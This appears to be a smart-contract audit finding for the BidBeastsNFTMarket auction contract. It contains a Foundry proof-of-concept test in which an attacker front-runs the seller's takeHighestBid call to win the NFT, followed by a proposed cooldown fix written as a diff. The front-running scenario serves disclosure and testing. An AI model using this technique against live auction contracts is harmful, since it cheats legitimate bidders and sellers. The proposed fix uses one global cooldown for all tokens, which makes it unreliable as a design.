Add the following code snippet to the `BidBeastsMarketPlaceTest.t.sol` test file.
This test is designed to demonstrate the Miner Extractable Value (MEV) attack opportunity for frontrunning the seller’s transaction to take the highest bid in the `BidBeastsNFTMarket::takeHighestBid` function.
function testFrontRunningTakeHighestBid() public {
uint256 S_MIN_BID_INCREMENT_PERCENTAGE = 5;
address ATTACKER = makeAddr("attacker");
console.log("\n Arrange");
console.log("ATTACKER address: ", ATTACKER);
console.log("BIDDER_1 address: ", BIDDER_1);
console.log("BIDDER_2 address: ", BIDDER_2);
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory firstHighestBid = market.getHighestBid(TOKEN_ID);
console.log("\n Auction started\n");
console.log("First bid has been placed\n");
console.log("BIDDER_1 bid: ", firstHighestBid.amount);
console.log("BIDDER_1 bidder: ", firstHighestBid.bidder);
uint256 secondBidAmount =
firstHighestBid.amount + (firstHighestBid.amount * S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
vm.prank(BIDDER_2);
market.placeBid{value: secondBidAmount}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory secondHighestBid = market.getHighestBid(TOKEN_ID);
console.log("\n");
console.log("Second bid has been placed\n");
console.log("BIDDER_2 bid: ", secondHighestBid.amount);
console.log("BIDDER_2 bidder: ", secondHighestBid.bidder);
console.log("\n");
console.log("Seller decide to take highest bid");
console.log("Seller's transaction has been placed to mempool");
uint256 attackerBidAmount =
secondHighestBid.amount + (secondHighestBid.amount * S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
hoax(ATTACKER, 100 ether);
market.placeBid{value: attackerBidAmount}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory attackerHighestBid = market.getHighestBid(TOKEN_ID);
console.log("\n");
console.log("Attacker's bid has been placed, with a higher preority fee");
console.log("Attacker's bid: ", attackerHighestBid.amount);
console.log("Attacker's bidder: ", attackerHighestBid.bidder);
console.log("\n");
console.log("Seller's transaction has been included in the block");
vm.prank(SELLER);
market.takeHighestBid(TOKEN_ID);
console.log("Supposed winner of the NFT auction is BIDDER_2: ", secondHighestBid.bidder);
console.log("Actual winner of the NFT auction is ATTACKER: ", attackerHighestBid.bidder);
assertEq(attackerHighestBid.bidder, nft.ownerOf(TOKEN_ID), "Attacker has won the NFT auction");
}
1. remove this function as it is not crutial for the protocol functionality.
2. inforce a cooldown after every bid, except the bid that is equal or greater than the `buyNowPrice`, to allow seller to accept the highest bid before the auction ends.
...
// --- Constants ---
uint256 public constant S_AUCTION_EXTENSION_DURATION = 15 minutes;
uint256 public constant S_MIN_NFT_PRICE = 0.01 ether;
uint256 public constant S_FEE_PERCENTAGE = 5;
uint256 public constant S_MIN_BID_INCREMENT_PERCENTAGE = 5;
+ uint256 public constant S_COOLDOWN_DURATION = 1 minutes;
// --- State Variables ---
uint256 public s_totalFee;
+ uint256 public s_cooldown; // reset after every bid
mapping(uint256 => Listing) public listings;
mapping(uint256 => Bid) public bids;
mapping(address => uint256) public failedTransferCredits;
...
function placeBid(uint256 tokenId) external payable isListed(tokenId) {
...
+ require(block.timestamp > s_cooldown, "Cooldown period not passed");
require(msg.sender != previousBidder, "Already highest bidder");
...
// EFFECT: update highest bid
bids[tokenId] = Bid(msg.sender, msg.value);
+ s_cooldown = block.timestamp + S_COOLDOWN_DURATION;
...
}
...
function takeHighestBid(uint256 tokenId) external isListed(tokenId) isSeller(tokenId, msg.sender) {
+ require(listings[tokenId].auctionEnd > block.timestamp, "Auction has ended");
Bid storage bid = bids[tokenId]; // creates a link to bids[tokenId] value, why ?
require(bid.amount >= listings[tokenId].minPrice, "Highest bid is below min price");
_executeSale(tokenId);
}
...